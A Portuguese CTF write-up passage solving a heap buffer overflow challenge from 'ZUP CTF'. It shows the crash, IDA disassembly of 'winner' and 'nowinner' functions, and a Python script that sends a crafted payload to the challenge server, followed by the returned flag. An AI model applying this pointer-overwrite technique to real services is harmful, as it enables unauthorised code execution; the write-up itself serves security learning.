$ echo -n "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" | nc localhost 8090
Dessa vez o programa gerou um core dump indicando que ele tentou chamar uma função fora do espaço de endereçamento do executável e o log demonstra isso:
[+] Connection received from 127.0.0.1
[+] Client 127.0.0.1 sent payload
Welcome to ZUP CTF, brought to you by Red'n'Blue Teams
data is at 0x8d2040, fp is at 0x8d2090, will be calling 0x6161616161616161
Falha de segmentação (imagem do núcleo gravada)
Observe que o endereço da função chamada originalmente (0x401ed3) foi alterado para 0x6161616161616161. O valor 61 é o código hexadecimal da letra "a" o que indica que houve um buffer overflow que sobrescreve o endereço de retorno causando a falha de segmentação.
A questão agora é conseguir apontar esse endereço para algo útil. Para isso usei o IDA para fazer o disassembly do código do executável e debugar. A idéia inicial era incluir no inicio da string um shell code para tentar abrir um shell na máquina, mas ao abrir o código no IDA percebi que o executável estava com informações de depuração (revelando o nome real das funções) achei duas rotinas bem sugestivas: winner
e nowinner
.
Analisando a posição dessas rotinas a função nowinner
estava na posição 0x401ED3 que era exatamente a posição impressa originalmente quando o buffer não foi estourado. Analisando o código dela ela imprime a mensagem Try Harder!
que é retornada pelo servidor conforme listagem abaixo:
.text:0000000000401ED3 public nowinner
.text:0000000000401ED3 nowinner proc near ; DATA XREF: heapBof+3C↓o
.text:0000000000401ED3 endbr64
.text:0000000000401ED7 push rbp
.text:0000000000401ED8 mov rbp, rsp
.text:0000000000401EDB mov eax, cs:newSocket
.text:0000000000401EE1 mov edx, 0Ch
.text:0000000000401EE6 lea rsi, noflag ; "Try harder!"
.text:0000000000401EED mov edi, eax
.text:0000000000401EEF call write
.text:0000000000401EF4 nop
.text:0000000000401EF5 pop rbp
.text:0000000000401EF6 retn
.text:0000000000401EF6 nowinner endp
A função winner
estava na posição 0x401EA5 do executável. E analisando código assembly dela verifiquei que ela imprime um arquivo chamado flag.txt. conforme a listagem abaixo:
.text:0000000000401EA5 public winner
.text:0000000000401EA5 winner proc near
.text:0000000000401EA5 endbr64
.text:0000000000401EA9 push rbp
.text:0000000000401EAA mov rbp, rsp
.text:0000000000401EAD mov eax, 0
.text:0000000000401EB2 call readFile
.text:0000000000401EB7 mov eax, cs:newSocket
.text:0000000000401EBD mov edx, 40h ; '@'
.text:0000000000401EC2 lea rsi, FLAG
.text:0000000000401EC9 mov edi, eax
.text:0000000000401ECB call write
.text:0000000000401ED0 nop
.text:0000000000401ED1 pop rbp
.text:0000000000401ED2 retn
.text:0000000000401ED2 winner endp
.text:0000000000401ED2
O pulo do gato aqui é trocar o valor 0x401ED3 por 0x401EA5 e a flag será retornada pelo servidor.
Após achar a string exata para fazer essa troca escrevi um script para executar isso no servidor remoto:
import socket
HOST = "0.cloud.chals.io" # The server's hostname or IP address
PORT = 10464 # The port used by the server
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.connect((HOST, PORT))
s.sendall(b"abcdefghijklmnopqrstuvwxyzABCDEFHIJKLMNOPQRSTUVWXYZaaabacadaeafagahaiajakalamana\xa5\x1e\x40")
data = s.recv(1024)
print(f"Received {data!r}")
Ao executar o script a flag ZUP-CTF{34syh34p8uff3r0v3rfl0w}
é retornada pelo servidor:
$ python solve.py
Received b'ZUP-CTF{34syh34p8uff3r0v3rfl0w}\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
👍
Sensacional! Parabéns.